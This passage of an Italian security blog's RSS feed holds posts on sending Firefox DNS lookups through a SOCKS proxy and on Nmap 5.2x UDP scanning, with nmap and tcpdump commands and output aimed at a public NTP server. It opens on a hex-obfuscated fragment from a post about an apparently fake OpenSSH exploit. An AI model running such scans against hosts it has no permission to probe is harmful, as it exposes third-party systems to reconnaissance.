&amp;#8220;x64&amp;#215;65x76&amp;#215;2fx6ex75&amp;#215;6cx6cx20&amp;#215;26&amp;#8243;;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
ovvero:&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;aligncenter size-full wp-image-1210&quot; title=&quot;hex2asc&quot; src=&quot;http://www.voipandhack.it/wp-content/uploads/2010/02/hex2asc.png&quot; alt=&quot;hex2asc&quot; width=&quot;500&quot; height=&quot;201&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ogni ulteriore commento mi pare superfluo!&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/linux/exploit-openssh-per-tonni/feed</wfw:commentRss>
		</item>
		<item>
		<title>DNS proxying</title>
		<link>http://www.voipandhack.it/archives/linux/dns-proxying</link>
		<comments>http://www.voipandhack.it/archives/linux/dns-proxying#comments</comments>
		<pubDate>Sun, 07 Feb 2010 01:46:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[censura]]></category>

		<category><![CDATA[dns]]></category>

		<category><![CDATA[internet]]></category>

		<category><![CDATA[proxy]]></category>

		<category><![CDATA[socks]]></category>

		<category><![CDATA[ssh]]></category>

		<category><![CDATA[tricks]]></category>

		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1203</guid>
		<description><![CDATA[Ho accennato in un post precedente ad un semplice metodo che utilizza un proxy socks locale ed un tunnel ssh per criptare la navigazione web in ambiente estraneo o ostile.
Un problema non indifferente che si verifica coi proxies SOCKS è che alcune applicazioni, che pure ne supportano l&#8217;uso, potrebbero non utilizzarlo per tutte le loro [...]]]></description>
			<content:encoded><![CDATA[<p>Ho accennato in un <a href="http://www.voipandhack.it/archives/linux/port-forwarding-dinamico-con-ssh">post precedente</a> ad un semplice metodo che utilizza un proxy socks locale ed un tunnel ssh per criptare la navigazione web in ambiente estraneo o ostile.</p>
<p>Un problema non indifferente che si verifica coi proxies SOCKS è che alcune applicazioni, che pure ne supportano l&#8217;uso, potrebbero non utilizzarlo per tutte le loro comunicazioni di rete.<br />
Il caso più comune riguarda le richieste di tipo DNS, che normalmente non passano attraverso il proxy. <span id="more-1203"></span><br />
Ciò può costituire un problema per la privacy ma può anche rendere vulnerabili a pratiche di blocco o redirezione delle richieste DNS.</p>
<p>Mozilla Firefox è vulnerabile a questo aspetto nella sua configurazione di default, tuttavia è possibile intervenire su di essa per modificare questo comportamento.<br />
Basta puntare la barra degli indirizzi di Firefox ad una location particolare, cioè &#8220;about:config&#8221;, senza curarsi dell&#8217;avvertimento che si sta per compiere una operazione potenzialmente pericolosa.</p>
<p><img class="aligncenter size-full wp-image-1204" title="warning" src="http://www.voipandhack.it/wp-content/uploads/2010/02/warning.png" alt="warning" width="500" height="188" /><br />
Nel lungo elenco di parametri sulla sinistra della pagina che si presenta occorre selezionare &#8220;network.proxy.socks_remote_dns&#8221;, e col tasto destro del mouse, selezionare la voce &#8220;toggle&#8221;, operazione che ne commuta il valore da false a true.</p>
<p><img class="aligncenter size-full wp-image-1205" title="about_config" src="http://www.voipandhack.it/wp-content/uploads/2010/02/about_config.png" alt="about_config" width="496" height="104" /><br />
Firefox è ora correttamente configurato per fare sì che tutte le richieste DNS relative ai siti visitati passino attraverso il proxy.</p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="DNS proxying">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/linux/dns-proxying">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-02-07 02:02:18">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Ho accennato in un &lt;a href=&quot;http://www.voipandhack.it/archives/linux/port-forwarding-dinamico-con-ssh&quot;&gt;post precedente&lt;/a&gt; ad un semplice metodo che utilizza un proxy socks locale ed un tunnel ssh per criptare la navigazione web in ambiente estraneo o ostile.&lt;/p&gt;
&lt;p&gt;Un problema non indifferente che si verifica coi proxies SOCKS è che alcune applicazioni, che pure ne supportano l&amp;#8217;uso, potrebbero non utilizzarlo per tutte le loro comunicazioni di rete.&lt;br /&gt;
Il caso più comune riguarda le richieste di tipo DNS, che normalmente non passano attraverso il proxy. &lt;span id=&quot;more-1203&quot;&gt;&lt;/span&gt;&lt;br /&gt;
Ciò può costituire un problema per la privacy ma può anche rendere vulnerabili a pratiche di blocco o redirezione delle richieste DNS.&lt;/p&gt;
&lt;p&gt;Mozilla Firefox è vulnerabile a questo aspetto nella sua configurazione di default, tuttavia è possibile intervenire su di essa per modificare questo comportamento.&lt;br /&gt;
Basta puntare la barra degli indirizzi di Firefox ad una location particolare, cioè &amp;#8220;about:config&amp;#8221;, senza curarsi dell&amp;#8217;avvertimento che si sta per compiere una operazione potenzialmente pericolosa.&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;aligncenter size-full wp-image-1204&quot; title=&quot;warning&quot; src=&quot;http://www.voipandhack.it/wp-content/uploads/2010/02/warning.png&quot; alt=&quot;warning&quot; width=&quot;500&quot; height=&quot;188&quot; /&gt;&lt;br /&gt;
Nel lungo elenco di parametri sulla sinistra della pagina che si presenta occorre selezionare &amp;#8220;network.proxy.socks_remote_dns&amp;#8221;, e col tasto destro del mouse, selezionare la voce &amp;#8220;toggle&amp;#8221;, operazione che ne commuta il valore da false a true.&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;aligncenter size-full wp-image-1205&quot; title=&quot;about_config&quot; src=&quot;http://www.voipandhack.it/wp-content/uploads/2010/02/about_config.png&quot; alt=&quot;about_config&quot; width=&quot;496&quot; height=&quot;104&quot; /&gt;&lt;br /&gt;
Firefox è ora correttamente configurato per fare sì che tutte le richieste DNS relative ai siti visitati passino attraverso il proxy.&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/linux/dns-proxying/feed</wfw:commentRss>
		</item>
		<item>
		<title>Scansione UDP migliorata in Nmap 5.2x</title>
		<link>http://www.voipandhack.it/archives/linux/scansione-udp-migliorata-in-nmap-52x</link>
		<comments>http://www.voipandhack.it/archives/linux/scansione-udp-migliorata-in-nmap-52x#comments</comments>
		<pubDate>Thu, 04 Feb 2010 20:13:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[dns]]></category>

		<category><![CDATA[ICMP]]></category>

		<category><![CDATA[nmap]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[tcp-ip]]></category>

		<category><![CDATA[tutorials]]></category>

		<category><![CDATA[UDP]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1201</guid>
		<description><![CDATA[Le particolari caratteristiche protocollari fanno sì che la scansione UDP risulti più problematica della corrispondente TCP, ed inoltre pesantemente dipendente da ICMP.
Il metodo &#8220;tradizionale&#8221; della scansione UDP implica l&#8217;invio di un datagramma UDP alla porta di destinazione. Se viene restituito un messaggio di errore ICMP Type 3 Port unreachable, allora la porta viene considerata &#8220;closed&#8221;.
Differenti [...]]]></description>
			<content:encoded><![CDATA[<p>Le particolari caratteristiche protocollari fanno sì che la scansione UDP risulti più problematica della corrispondente TCP, ed inoltre pesantemente dipendente da ICMP.<span id="more-1201"></span></p>
<p>Il metodo &#8220;tradizionale&#8221; della scansione UDP implica l&#8217;invio di un datagramma UDP alla porta di destinazione. Se viene restituito un messaggio di errore ICMP Type 3 Port unreachable, allora la porta viene considerata &#8220;closed&#8221;.<br />
Differenti tipi di messaggi ICMP possono invece indicare una porta filtrata.</p>
<p>Una scansione UDP fa cioè affidamento sui messaggi diagnostici ICMP al fine di determinare lo stato di una porta remota.<br />
Firewalls che bloccano il traffico ICMP in uscita impediscono perciò alle scansioni UDP di restituire alcuna utile informazione.</p>
<p>Le porte UDP in stato &#8220;open&#8221; di solito non rispondono all&#8217;invio di datagrammi UDP dal momento che non esiste nel protocollo di trasporto, che è &#8220;stateless&#8221;, alcun meccanismo che preveda l&#8217;instaurazione di una sessione.<br />
Se la applicazione in ascolto non riuscisse ad interpretare il contenuto del pacchetto, potrebbe rispondere con un messaggio di errore, ma più probabilmente scarterebbe il pacchetto e non risponderebbe affatto.</p>
<p>Le eventuali risposte a datagrammi UDP sono quindi delegate al livello applicazione.</p>
<p>Per quanto non possa essere assunto come un metodo generale valido per rilevare porte &#8220;open&#8221;, è proprio in questo che consiste il miglioramento alla scansione UDP apportato in nmap a partire dalla recentissima versione 5.20 (peraltro subito sostituita dalla versione 5.21, che ne corregge solamente alcuni bug).<br />
In altri termini, una scansione UDP di una porta DNS (udp/53) consiste in una valida richiesta dns, mentre quella di una porta NTP in una altrettanto valida richiesta NTP.</p>
<p>Il differente comportamento di nmap rispetto alle versioni precedenti è immeditamente visibile.</p>
<p>Utilizzando infatti una versione precedente (5.0) si ottiene:<br />
<code><br />
# nmap -sU -PN -p 123 ntp1.ien.it </code><br />
<code><br />
Starting Nmap 5.00 ( http://nmap.org ) at 2010-02-04 10:20 CET<br />
Nmap scan report for ntp1.ien.it (193.204.114.232)<br />
Interesting ports on 193.204.114.232<br />
PORT    STATE          SERVICE<br />
123/udp open|filtered  ntp<br />
[...]<br />
</code><br />
mentre ora si ottiene:<br />
<code><br />
# nmap -sU -PN -p 123 193.204.114.232 </code><br />
<code><br />
Starting Nmap 5.20 ( http://nmap.org ) at 2010-02-04 20:08 CET<br />
Nmap scan report for ntp1.inrim.it (193.204.114.232)<br />
Host is up (0.047s latency).<br />
PORT    STATE SERVICE<br />
123/udp open  ntp<br />
[...]<br />
</code><br />
ed anche un trace effettuato tramite nmap evidenzia un regolare dialogo protocollare:<br />
<code><br />
# tcpdump -t -i ppp0 host 193.204.114.232<br />
[...]<br />
Client, Leap indicator: clock unsynchronized (192), Stratum 0, poll 4s, precision -6<br />
Root Delay: 1.000000, Root dispersion: 1.000000, Reference-ID: (unspec)<br />
[...]<br />
Server, Leap indicator:  (0), Stratum 1, poll 4s, precision -18<br />
Root Delay: 0.000000, Root dispersion: 0.000091, Reference-ID: UTCI<br />
[...]<br />
</code><br />
Se infatti nel primo esempio viene inviato alla porta udp/123 un pacchetto vuoto, ed il server NTP semplicemente lo scarta, nel secondo si ha l&#8217;invio di un pacchetto contenente un valido payload NTP.</p>
<p>Attualmente nmap 5.21 supporta degli specifici payloads per i seguenti protocolli:<br />
<code><br />
udp/7        echo<br />
udp/53       domain<br />
udp/111      rpcbind<br />
udp/123      ntp<br />
udp/137      netbios-ns<br />
udp/161      SNMP<br />
udp/177      xdmcp<br />
udp/500      ISAKMP<br />
udp/520      route<br />
udp/1645     RADIUS<br />
udp/1812     RADIUS<br />
udp/2049     NFS<br />
udp/5353     zeroconf<br />
udp/10080    amanda<br />
</code><br />
ma è facilmente prevedibile che il gruppo sia destinato ad ampliarsi.</p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Scansione UDP migliorata in Nmap 5.2x">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/linux/scansione-udp-migliorata-in-nmap-52x">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-02-04 21:02:17">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Le particolari caratteristiche protocollari fanno sì che la scansione UDP risulti più problematica della corrispondente TCP, ed inoltre pesantemente dipendente da ICMP.&lt;span id=&quot;more-1201&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Il metodo &amp;#8220;tradizionale&amp;#8221; della scansione UDP implica l&amp;#8217;invio di un datagramma UDP alla porta di destinazione. Se viene restituito un messaggio di errore ICMP Type 3 Port unreachable, allora la porta viene considerata &amp;#8220;closed&amp;#8221;.&lt;br /&gt;
Differenti tipi di messaggi ICMP possono invece indicare una porta filtrata.&lt;/p&gt;
&lt;p&gt;Una scansione UDP fa cioè affidamento sui messaggi diagnostici ICMP al fine di determinare lo stato di una porta remota.&lt;br /&gt;
Firewalls che bloccano il traffico ICMP in uscita impediscono perciò alle scansioni UDP di restituire alcuna utile informazione.&lt;/p&gt;
&lt;p&gt;Le porte UDP in stato &amp;#8220;open&amp;#8221; di solito non rispondono all&amp;#8217;invio di datagrammi UDP dal momento che non esiste nel protocollo di trasporto, che è &amp;#8220;stateless&amp;#8221;, alcun meccanismo che preveda l&amp;#8217;instaurazione di una sessione.&lt;br /&gt;
Se la applicazione in ascolto non riuscisse ad interpretare il contenuto del pacchetto, potrebbe rispondere con un messaggio di errore, ma più probabilmente scarterebbe il pacchetto e non risponderebbe affatto.&lt;/p&gt;
&lt;p&gt;Le eventuali risposte a datagrammi UDP sono quindi delegate al livello applicazione.&lt;/p&gt;
&lt;p&gt;Per quanto non possa essere assunto come un metodo generale valido per rilevare porte &amp;#8220;open&amp;#8221;, è proprio in questo che consiste il miglioramento alla scansione UDP apportato in nmap a partire dalla recentissima versione 5.20 (peraltro subito sostituita dalla versione 5.21, che ne corregge solamente alcuni bug).&lt;br /&gt;
In altri termini, una scansione UDP di una porta DNS (udp/53) consiste in una valida richiesta dns, mentre quella di una porta NTP in una altrettanto valida richiesta NTP.&lt;/p&gt;
&lt;p&gt;Il differente comportamento di nmap rispetto alle versioni precedenti è immeditamente visibile.&lt;/p&gt;
&lt;p&gt;Utilizzando infatti una versione precedente (5.0) si ottiene:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# nmap -sU -PN -p 123 ntp1.ien.it &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Starting Nmap 5.00 ( http://nmap.org ) at 2010-02-04 10:20 CET&lt;br /&gt;
Nmap scan report for ntp1.ien.it (193.204.114.232)&lt;br /&gt;
Interesting ports on 193.204.114.232&lt;br /&gt;
PORT    STATE          SERVICE&lt;br /&gt;
123/udp open|filtered  ntp&lt;br /&gt;
[...]&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
mentre ora si ottiene:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# nmap -sU -PN -p 123 193.204.114.232 &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Starting Nmap 5.20 ( http://nmap.org ) at 2010-02-04 20:08 CET&lt;br /&gt;
Nmap scan report for ntp1.inrim.it (193.204.114.232)&lt;br /&gt;
Host is up (0.047s latency).&lt;br /&gt;
PORT    STATE SERVICE&lt;br /&gt;
123/udp open  ntp&lt;br /&gt;
[...]&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
ed anche un trace effettuato tramite nmap evidenzia un regolare dialogo protocollare:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# tcpdump -t -i ppp0 host 193.204.114.232&lt;br /&gt;
[...]&lt;br /&gt;
Client, Leap indicator: clock unsynchronized (192), Stratum 0, poll 4s, precision -6&lt;br /&gt;
Root Delay: 1.000000, Root dispersion: 1.000000, Reference-ID: (unspec)&lt;br /&gt;
[...]&lt;br /&gt;
Server, Leap indicator:  (0), Stratum 1, poll 4s, precision -18&lt;br /&gt;
Root Delay: 0.000000, Root dispersion: 0.000091, Reference-ID: UTCI&lt;br /&gt;
[...]&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Se infatti nel primo esempio viene inviato alla porta udp/123 un pacchetto vuoto, ed il server NTP semplicemente lo scarta, nel secondo si ha l&amp;#8217;invio di un pacchetto contenente un valido payload NTP.&lt;/p&gt;
&lt;p&gt;Attualmente nmap 5.21 supporta degli specifici payloads per i seguenti protocolli:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
udp/7        echo&lt;br /&gt;
udp/53       domain&lt;br /&gt;
udp/111      rpcbind&lt;br /&gt;
udp/123      ntp&lt;br /&gt;
udp/137      netbios-ns&lt;br /&gt;
udp/161      SNMP&lt;br /&gt;
udp/177      xdmcp&lt;br /&gt;
udp/500      ISAKMP&lt;br /&gt;
udp/520      route&lt;br /&gt;
udp/1645     RADIUS&lt;br /&gt;
udp/1812     RADIUS&lt;br /&gt;
udp/2049     NFS&lt;br /&gt;
udp/5353     zeroconf&lt;br /&gt;
udp/10080    amanda&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
ma è facilmente prevedibile che il gruppo sia destinato ad ampliarsi.&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/linux/scansione-udp-migliorata-in-nmap-52x/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
